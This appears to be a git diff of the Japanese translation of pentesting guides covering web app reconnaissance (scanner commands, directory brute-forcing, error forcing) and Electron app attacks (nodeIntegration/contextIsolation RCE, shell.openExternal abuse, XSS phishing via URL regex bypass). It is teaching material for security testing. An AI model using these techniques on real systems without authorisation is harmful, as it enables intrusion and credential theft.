よく知られた**技術**を使用していますか？より多くの情報を引き出すための**有用なトリック**はありますか？ -- [ ] 実行すべき**専用のスキャナー**はありますか（例: wpscan）？ -- [ ] **汎用スキャナー**を実行してください。何かを見つけるか、興味深い情報を得られるか分かりません。 -- [ ] **初期チェック**から始めます: **robots**, **sitemap**, **404** エラー、および **SSL/TLS scan**（HTTPS の場合）。 -- [ ] ウェブページの**spidering**を開始します: 使用されている可能性のあるすべての**ファイル、フォルダ**、および**パラメータ**を**見つけ**てください。また、**特別な所見**がないか確認します。 -- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、その都度spideringを行ってください。_ -- [ ] **Directory Brute-Forcing**: 発見した全てのフォルダを**brute force**して、新しい**ファイル**や**ディレクトリ**を探してください。 -- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見されたら、そのディレクトリに対してはBrute-Forcedを行ってください。_ -- [ ] **Backups checking**: 共通のバックアップ拡張子を付けて**発見したファイル**の**バックアップ**が見つかるかテストします。 -- [ ] **Brute-Force parameters**: 隠し**パラメータ**を**発見**するよう試みてください。 -- [ ] すべての**ユーザー入力**を受け付ける可能性のある**endpoints**を**特定**したら、それらに関連するあらゆる種類の**脆弱性**を確認してください。 -- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] まず、web サーバで使用されている**technologies**を**identifying**して特定します。技術を特定できたら、テストの残りで覚えておくべき**tricks**を探してください。 +- [ ] その技術のバージョンに対する既知の**vulnerability**はありますか？ +- [ ] よく使われている**tech**を使用していますか？情報を引き出すための**useful trick**はありますか？ +- [ ] 実行すべき**specialised scanner**（例: wpscan）はありますか？ +- [ ] **general purposes scanners**を起動してください。何かを見つけるか、興味深い情報を得られるかもしれません。 +- [ ] **initial checks**から始めます: **robots**, **sitemap**, **404** error と **SSL/TLS scan**（HTTPS の場合）。 +- [ ] Web ページの**spidering**を開始します: 可能なすべての**files, folders**や**parameters being used**を**find**する時です。**special findings**も確認してください。 +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: 発見したすべてのフォルダに対して brute force を試み、新しい **files** や **directories** を探します。 +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **Backups checking**: 一般的なバックアップ拡張子を付けて、**discovered files** の **backups** が見つかるかテストします。 +- [ ] **Brute-Force parameters**: 隠しパラメータを探してみてください。 +- [ ] すべての可能な **endpoints** が **user input** を受け付けるかを**identified**したら、それに関連するあらゆる種類の **vulnerabilities** をチェックします。 +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## サーバーのバージョン（脆弱？） +## Server Version (Vulnerable?) -### 識別 +### 特定 -実行中のサーバーのバージョンに既知の脆弱性があるか確認してください。\ -レスポンスのHTTP headersやcookiesは、使用されている技術やバージョンの識別に非常に有用です。Nmap scanはサーバーバージョンを識別できますが、ツールの[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +実行中のサーバーの **version** に対して既知の**known vulnerabilities**があるか確認してください。\ +レスポンスの **HTTP headers and cookies** は、使用されている **technologies** や **version** を**identify**するのに非常に有用です。**Nmap scan** はサーバの version を識別できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)、[**webtech**](https://github.com/ShielderSec/webtech) や [**https://builtwith.com/**](https://builtwith.com) といったツールも有用です: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +検索 **対象の** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **WAFがあるか確認する** @@ -63,9 +63,9 @@ webanalyze -host https://google.com -crawl 2 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web技術のトリック +### Web tech tricks -使用されているさまざまなよく知られた **technologies** で **finding vulnerabilities** を行うための **tricks**: +いくつかの **tricks** は、異なるよく知られた **technologies** 上での **vulnerabilities** を見つけるために役立ちます: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,27 +102,27 @@ webanalyze -host https://google.com -crawl 2 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_ドメインが同じでも、異なる **technologies** を異なる **ports**、**folders**、**subdomains** で使用している場合があることに注意してください._\ -webアプリケーションがよく知られた **tech/platform listed before** または **any other** を使用している場合は、新しい **tricks** をインターネットで **search on the Internet** することを忘れないでください（知らせてください！）。 +_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ +もし web application が上に挙げた既知の **tech/platform** またはその他を使用している場合は、Internet 上で新しい tricks を検索するのを忘れないでください（そして私に教えてください！）。 -### ソースコードレビュー +### Source Code Review -もしアプリケーションの **source code** が **github** で入手可能な場合、アプリケーションに対して **your own a White box test** を実施することに加え、現在の **Black-Box testing** に **useful** となり得る **some information** が存在します: +もしアプリケーションの **source code** が **github** 上で入手可能であれば、アプリケーションに対して自分で White box test を行うことに加えて、現在の Black-Box testing に役立ついくつかの情報があります: -- ウェブ上でアクセス可能な **version info accessible** を含む **Change-log or Readme or Version** ファイルなどはありますか? -- **credentials** はどのようにどこに保存されていますか？ 認証情報（ユーザー名やパスワード）を含む（アクセス可能な？）**file** はありますか？ -- **passwords** は **plain text**、**encrypted**、あるいはどの **hashing algorithm** が使用されていますか？ -- 何かを暗号化するために **master key** を使用していますか？ どの **algorithm** が使われていますか？ -- 何らかの脆弱性を悪用してこれらのファイルのいずれかに **access any of these files** できますか？ -- **interesting information in the github**（解決済み・未解決を問わず）や **issues** に何かありますか？ また **commit history** に（古いコミット内に **password introduced inside an old commit** など）が含まれている可能性は？ +- Web 経由でアクセス可能な **Change-log or Readme or Version** ファイルやバージョン情報はありますか？ +- **credentials** はどのように、どこに保存されていますか？（アクセス可能な）**file** にユーザ名やパスワードなどの **credentials** はありますか？ +- **passwords** は **plain text**、**encrypted**、それともどの **hashing algorithm** が使われていますか？ +- 何かを暗号化するための **master key** を使用していますか？どの **algorithm** が使われていますか？ +- これらのファイルのいずれかに、何かの **vulnerability** を利用してアクセスできますか？ +- **github** の **issues**（解決済みと未解決の両方）や **commit history** に興味深い情報はありますか？（古い commit にパスワードが含まれている可能性があります） {{#ref}} code-review-tools.md {{#endref}} -### 自動スキャナ +### Automatic scanners -#### 汎用の自動スキャナ +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -134,14 +134,14 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMSスキャナー +#### CMS scanners -CMSが使用されている場合は、**スキャナーを実行する**のを忘れないでください。思わぬ有益な発見があるかもしれません： +CMSが使われている場合は、忘れずに **run a scanner** を実行してください。思わぬ発見があるかもしれません: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** セキュリティの問題があるWebサイトを検査します。 (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** の Security issues のあるウェブサイト向け（GUI）\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -149,45 +149,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> この時点で、クライアントが使用しているウェブサーバに関するいくつかの情報（もしデータが提供されていれば）と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければCMSを見つけてスキャナを実行しているでしょう。 +> この時点で、クライアントが使用しているウェブサーバーに関するいくつかの情報（提供されていれば）と、テスト中に覚えておくべきいくつかのコツを既に把握しているはずです。運が良ければ、CMS を見つけてスキャナを実行しているかもしれません。 -## ステップバイステップのWebアプリケーション探索 +## Step-by-step Web Application Discovery -> この時点からWebアプリケーションと実際に対話を始めます。 +> ここからは実際に Web アプリケーションと対話を始めます。 -### 初期チェック +### Initial checks -**興味深い情報を含むデフォルトページ:** +**Default pages with interesting info:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- メインページおよびサブページのコメントも確認する。 +- メインおよびサブページ内のコメントも確認すること。 -**エラーを強制する** +**Forcing errors** -ウェブサーバは奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が露呈したり、**機密情報の開示**につながる可能性があります。 +Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. -- 例えば /whatever_fake.php (.aspx,.html,.etc) のような**偽ページ**にアクセスする -- **cookie values** や **parameter** の値に "\[]", "]]", "\[[" を追加してエラーを発生させる -- URLの**末尾**に **`/~randomthing/%s`** を入力してエラーを発生させる -- PATCH, DEBUG のような**異なるHTTPメソッド**を試す、あるいは FAKE のような不正なメソッドを試す +- /whatever_fake.php のようなダミーページにアクセスする（.aspx、.html など） +- **"\[]", "]]", および "\[["** を **cookie 値** や **パラメータ値** に追加してエラーを発生させる +- URL の **末尾** に **`/~randomthing/%s`** のような入力を与えてエラーを発生させる +- PATCH、DEBUG のような **異なる HTTP メソッド** や FAKE のような不正なメソッドを試す #### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -WebDavが**有効**であってルートフォルダにファイルを**アップロード**する十分な権限がない場合は、次を試してください: +If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: -- 資格情報を**Brute Force** -- Webページ内の見つかった他のフォルダにWebDav経由で**ファイルをアップロード**する。別のフォルダにはアップロード権限があるかもしれません。 +- **Brute Force** credentials +- WebDav を使って、Web ページ内で見つかった他のフォルダにファイルをアップロードする。別のフォルダにはアップロード権限がある場合がある。 -### **SSL/TLS の脆弱性** +### **SSL/TLS vulnerabilites** -- アプリケーションがどの部分でも**HTTPSの利用を強制していない**場合、**MitMに対して脆弱**です -- アプリケーションが**HTTPで機密データ（パスワード）を送信している**場合、重大な脆弱性です。 +- アプリケーションがどの部分でも**HTTPS の使用を強制していない**場合、**MitM に対して脆弱**である +- アプリケーションが**HTTP で機密データ（パスワード等）を送信している**場合、それは重大な脆弱性である -[**testssl.sh**](https://github.com/drwetter/testssl.sh) を使って**脆弱性**をチェックし（Bug Bountyプログラムではおそらくこの種の脆弱性は受け入れられません）、[**a2sv** ](https://github.com/hahwul/a2sv)to で脆弱性を再確認してください: +Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 38bea746d..e6f7cee30 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,14 +4,14 @@ ## はじめに -Electron はローカルのバックエンド（**NodeJS**）とフロントエンド（**Chromium**）を組み合わせていますが、最新のブラウザが備えるいくつかのセキュリティ機構を欠いています。 +Electron はローカルなバックエンド（**NodeJS**）とフロントエンド（**Chromium**）を組み合わせていますが、モダンなブラウザが持ついくつかのセキュリティ機構が欠けています。 -通常、Electron アプリのコードは `.asar` アーカイブの中にあることが多く、コードを取得するには抽出する必要があります: +通常、electron アプリのコードは `.asar` に入っていることが多く、コードを取得するにはそれを抽出する必要があります： ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Electronアプリのソースコードでは、`packet.json`内にセキュリティ設定が行われている`main.js`ファイルが指定されているのを見つけることができます。 +Electronアプリのソースコード内では、`packet.json` に、セキュリティ設定が記述されている `main.js` ファイルの指定が見つかります。 ```json { "name": "standard-notes", @@ -19,12 +19,12 @@ Electronアプリのソースコードでは、`packet.json`内にセキュリ ``` Electronには2つのプロセスタイプがあります: -- Main Process (NodeJSへの完全なアクセス権を持つ) -- Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき) +- メインプロセス (NodeJSへ完全にアクセス可能) +- レンダラープロセス (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき) ![](<../../../images/image (182).png>) -A **renderer process** は、ファイルを読み込むブラウザウィンドウになります: +**レンダラープロセス**はファイルを読み込むブラウザウィンドウになります: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -**レンダラープロセス**の設定は、main.js ファイル内の**メインプロセス**で**構成**できます。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ**などの脆弱性を防げるもので、**設定が正しく構成されている**場合に有効です。 +**renderer process** の設定は main.js ファイル内の **main process** で **構成できます**。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ** などの効果があり、**設定が正しく構成されている場合** に有効になります。 -Electron アプリケーションは Node APIs を介して**デバイスにアクセスできる**可能性がありますが、それを防ぐように構成できます: +Electron アプリケーションは Node apis 経由で **デバイスにアクセスできる** 可能性がありますが、これを防ぐように設定できます: -- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process. -- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated. -- **`preload`** - empty by default. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. -- Node Integration in Workers -- **`nodeIntegrationInSubframes`**- is `off` by default. -- If **`nodeIntegration`** is **有効**, this would allow the use of **Node.js APIs** in web pages that are **iframe に読み込まれた** within an Electron application. -- If **`nodeIntegration`** is **無効**, then preloads will load in the iframe +- **`nodeIntegration`** - デフォルトでは `off` です。`on` の場合、renderer process から Node の機能にアクセスできるようになります。 +- **`contextIsolation`** - デフォルトでは `on` です。`off` の場合、main と renderer processes の分離がなくなります。 +- **`preload`** - デフォルトでは空です。 +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトでは `off` です。NodeJS が実行できる操作を制限します。 +- Workers 内での Node Integration +- **`nodeIntegrationInSubframes`** - デフォルトでは `off` です。 +- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application. +- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe Example of configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からのいくつかの **RCE payloads**: +以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**: ```html Example Payloads (Windows): ``` ### トラフィックをキャプチャ -start-main の設定を変更し、次のような proxy の使用を追加します: +start-main の設定を変更し、例えば次のような proxy を使用するように追加します: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -もしローカルで Electron App を実行できるなら、任意の javascript コードを実行させることが可能な場合があります。詳しくは次を確認してください: +Electron Appをローカルで実行できる場合、任意のjavascriptコードを実行させることが可能です。方法は以下を参照してください: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +111,7 @@ start-main の設定を変更し、次のような proxy の使用を追加し ## RCE: XSS + nodeIntegration -If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: +もし**nodeIntegration**が**on**に設定されていると、ウェブページのJavaScriptは`require()`を呼ぶだけで簡単にNode.jsの機能を利用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです: ```html ``` -> [!NOTE] > **もし `contextIsolation` が有効になっている場合、これは動作しません** +> [!NOTE] > **`contextIsolation` が有効な場合、これは動作しません** ## RCE: XSS + contextIsolation -_**contextIsolation**_ は、web ページのスクリプトと JavaScript の Electron 内部コードの間に **分離されたコンテキスト** を導入し、それぞれの JavaScript 実行が互いに影響を与えないようにします。これは RCE の可能性を排除するために必要な機能です。 +_**contextIsolation**_ は、ウェブページのスクリプトと JavaScript/Electron の内部コードの間に **分離されたコンテキスト** を導入し、それぞれの JavaScript 実行が互いに影響しないようにします。これは RCE の可能性を排除するための必要な機能です。 -もしコンテキストが分離されていないと、攻撃者は次のことが可能になります: +コンテキストが分離されていない場合、攻撃者は以下を行うことができます: -1. レンダラー内で **arbitrary JavaScript in renderer** を実行する（XSS または外部サイトへの遷移） -2. preload や Electron 内部コードで使用される **built-in method を上書き** して自分の関数にする -3. **Trigger** して **overwritten function** の使用を呼び出す +1. レンダラー内で**任意の JavaScript を実行する**（XSS または外部サイトへのナビゲーション） +2. **組み込みメソッドを上書きする**（preload または Electron 内部コードで使用されるものを独自の関数にする） +3. **上書きされた関数の使用をトリガーする** 4. RCE? -There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: +組み込みメソッドが上書きされ得る場所は2つあります: preload コード内、または Electron の内部コード内: {{#ref}} @@ -178,36 +178,36 @@ electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-ipc.md {{#endref}} -### Bypass click event +### クリックイベントをバイパス -リンクをクリックしたときに制限がある場合、通常の left click の代わりに **doing a middle click** を行うことでそれらを回避できることがあります +リンクをクリックした際に制限がある場合、通常の左クリックの代わりに**中クリック（ミドルクリック）を行う**ことでそれらを回避できることがあります ```javascript window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal -この例の詳細は [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。 +For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Electron デスクトップアプリケーションを展開する際は、`nodeIntegration` と `contextIsolation` の設定を正しく行うことが重要です。これらの設定により、main process から preload scripts や Electron のネイティブコードを標的とする **client-side remote code execution (RCE)** が実質的に防止されることが確認されています。 +Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration` と `contextIsolation` の適切な設定を行うことは非常に重要です。これらの設定により、main process から preload scripts や Electron's native code を標的とした **client-side remote code execution (RCE)** は効果的に防がれることが確認されています。 -ユーザーがリンクをクリックしたり新しいウィンドウを開いたりすると、アプリのセキュリティと機能にとって重要な特定のイベントリスナーがトリガーされます： +ユーザーがリンクをクリックしたり新しいウィンドウを開いたりすると、アプリケーションのセキュリティと機能にとって重要な特定の event listeners がトリガーされます: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -これらのリスナーは、デスクトップアプリケーションによって**上書きされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、遷移したリンクを内部で開くべきか外部のウェブブラウザで開くべきかを判断します。この判断は通常 `openInternally` 関数で行われます。もしこの関数が `false` を返すと、リンクは外部で開くべきであることを示し、`shell.openExternal` 関数を使用します。 +These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function. -**以下は簡略化した擬似コードです:** +**Here is a simplified pseudocode:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS のセキュリティベストプラクティスは、`openExternal` 関数で信頼できないコンテンツを受け入れるべきではないと助言しています。さもないと、さまざまなプロトコルを介して RCE を引き起こす可能性があります。オペレーティングシステムは RCE を引き起こし得るさまざまなプロトコルをサポートしています。このトピックの詳細な例や説明については、[this resource](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。ここにはこの脆弱性を悪用できる Windows プロトコルの例が含まれています。 +Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability. -macos では、`openExternal` 関数を悪用して `shell.openExternal('file:///System/Applications/Calculator.app')` のように任意のコマンドを実行させることができます。 +In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Windows プロトコルの悪用例には以下が含まれます：** +**Examples of Windows protocol exploits include:** ```html ``` -## **RCE: XSS + Old Chromium** +## **RCE: XSS + 古い Chromium** -アプリケーションで使用されている **chromium** が **old** で、既知の **vulnerabilities** が存在する場合、それを悪用して **RCE** を **XSS** 経由で取得できる可能性があります。\ +もしアプリケーションで使用されている **chromium** が **古い** かつ既知の **vulnerabilities** がある場合、**それを exploit して XSS を通じて RCE を取得する** ことが可能な場合があります。\ 例はこの **writeup** で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing via Internal URL regex bypass** -XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、**phishing を使って認証情報を盗む**ことを試みることができます。 +XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、これを使って **phishing によって認証情報を盗む** ことを試すことができます。 -まず、新しい URL を開こうとしたときに何が起きるかを、フロントエンドの JS コードを確認して把握する必要があります: +まず、新しい URL を開こうとしたときに何が起きるかを把握する必要があります。front-end の JS コードを確認してください: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) @@ -287,32 +287,28 @@ webContents.on("will-navigate", function (event, url) {} // o The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**. In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user: - -**`openInternally`** の呼び出しは、その **リンク** がプラットフォームに属するものとして **デスクトップウィンドウ** で **開かれる** のか、**または** **ブラウザ（サードパーティのリソースとして）** で **開かれる** のかを決定します。 - -関数で使用される **regex** が **vulnerable to bypasses**（例えば **サブドメインのドットをエスケープしていない** 場合）の場合、攻撃者は XSS を悪用して **新しいウィンドウを開く**（攻撃者のインフラ上に配置され）、ユーザに **認証情報を要求する** ように仕向けることができます: ```html ``` -## `file://` プロトコル +## `file://` Protocol -As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** はマシン上のすべてのファイルに一方的にアクセスできるため、**XSS を悪用してユーザーのマシンから任意のファイルを読み込む**ことが可能です。**カスタムプロトコル**を使用すると、提供するファイルを特定のセットに限定できるため、このような問題を防げます。 +[the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) にあるように、**`file://`** で実行されるページはマシン上のすべてのファイルに一方的にアクセスできるため、**XSS の脆弱性を利用してユーザーのマシンから任意のファイルを読み込むことができる**。**custom protocol** を使うことでプロトコルを特定のファイル群の配信に限定できるため、このような問題を防げます。 ## Remote module -Electron の Remote モジュールは、レンダラープロセスがメインプロセスの API にアクセスできるようにし、Electron アプリ内での通信を容易にします。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。攻撃対象領域が拡大し、XSS のような脆弱性に対してより脆弱になります。 +Electron の Remote モジュールは、レンダラープロセスがメインプロセスの API にアクセスできるようにし、Electron アプリ内の通信を容易にします。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。攻撃対象面が拡大し、XSS のような脆弱性に対してより脆弱になります。 > [!TIP] -> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. +> **remote** モジュールは main から renderer プロセスへいくつかの API を公開しますが、コンポーネントを悪用しただけで RCE を得るのは必ずしも容易ではありません。ただし、コンポーネントが機密情報を露出する可能性はあります。 > [!WARNING] -> 多くのアプリがまだ remote モジュールを使っていますが、それを行う多くはレンダラープロセスで **require NodeIntegration to be enabled** という方法を取っており、これは **重大なセキュリティリスク** です。 +> まだ remote モジュールを使用している多くのアプリは、レンダラープロセスで **NodeIntegration を有効にする必要がある** 方法で使用しており、これは **重大なセキュリティリスク** です。 -Electron 14 以降、`remote` モジュールは複数の手順で有効化される場合がありますが、セキュリティおよびパフォーマンス上の理由から **使用しないことが推奨されています**。 +Electron 14 以降、`remote` モジュールは複数の手順で有効化される場合がありますが、セキュリティおよびパフォーマンスの観点から **使用しないことが推奨されます**。 -有効にするには、まずメインプロセスで**それを有効にする**必要があります: +有効にするには、まず **メインプロセスで有効化する** 必要があります： ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() @@ -323,28 +319,28 @@ mainWindow = new BrowserWindow({ }) remoteMain.enable(mainWindow.webContents) ``` -すると、レンダラープロセスはモジュールからオブジェクトを次のようにインポートできます: +その後、renderer process はモジュールからオブジェクトをインポートできます: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` -The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は remote モジュールのオブジェクト **`app`** によって公開されているいくつかの興味深い **関数** を示しています: +その **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、remoteモジュールのオブジェクト **`app`** が公開するいくつかの興味深い **functions** を示しています: - **`app.relaunch([options])`** -- **再起動**: 現在のインスタンスを **終了** して新しいインスタンスを **起動** することでアプリケーションを再起動します。**アプリの更新**や重大な**状態変化**の際に有用です。 +- 現在のインスタンスを**終了**して新しいインスタンスを**起動**することでアプリケーションを**再起動**します。**アプリの更新**や大きな**状態変化**に便利です。 - **`app.setAppLogsPath([path])`** -- **定義/作成**: **アプリのログ** を格納するディレクトリを定義または作成します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使用して **取得** または **変更** できます。 +- **appログ**を格納するためのディレクトリを**定義**または**作成**します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使って**取得**または**変更**できます。 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** -- **登録**: 指定した **protocol** の既定ハンドラとして現在の実行ファイルを登録します。必要に応じて **カスタムパス** や **引数** を指定できます。 +- 指定した**protocol**の**デフォルトハンドラ**として現在の実行ファイルを**登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。 - **`app.setUserTasks(tasks)`** -- **追加**: Windows の **Jump List** の **Tasks category** にタスクを追加します。各タスクはアプリの **起動方法** や渡される **引数** を制御できます。 +- **Windows の Jump List の Tasks カテゴリに**タスクを**追加**します。各タスクはアプリの**起動方法**や渡される**引数**を制御できます。 - **`app.importCertificate(options, callback)`** -- **インポート**: システムの証明書ストアに **PKCS#12 証明書** をインポートします（Linux のみ）。結果を処理するために **callback** を使用できます。 +- システムの**証明書ストア**に **PKCS#12 certificate** を**インポート**します（Linux のみ）。結果を処理するために **callback** を使用できます。 - **`app.moveToApplicationsFolder([options])`** -- **移動**: アプリケーションを **Applications フォルダ** に移動します（macOS）。Mac ユーザ向けの標準的なインストールを確保するのに役立ちます。 +- アプリケーションを macOS の **Applications folder** に**移動**します。Mac ユーザーに対して**標準的なインストール**を確保するのに役立ちます。 - **`app.setJumpList(categories)`** -- **設定/削除**: Windows でカスタム **Jump List** を設定または削除します。タスクの表示方法を整理するために **categories** を指定できます。 +- **Windows** 上で**カスタム Jump List** を**設定**または**削除**します。タスクの表示方法を整理するために **categories** を指定できます。 - **`app.setLoginItemSettings(settings)`** -- **構成**: ログイン時に起動する **実行可能ファイル** とその **オプション** を設定します（macOS と Windows のみ）。 +- 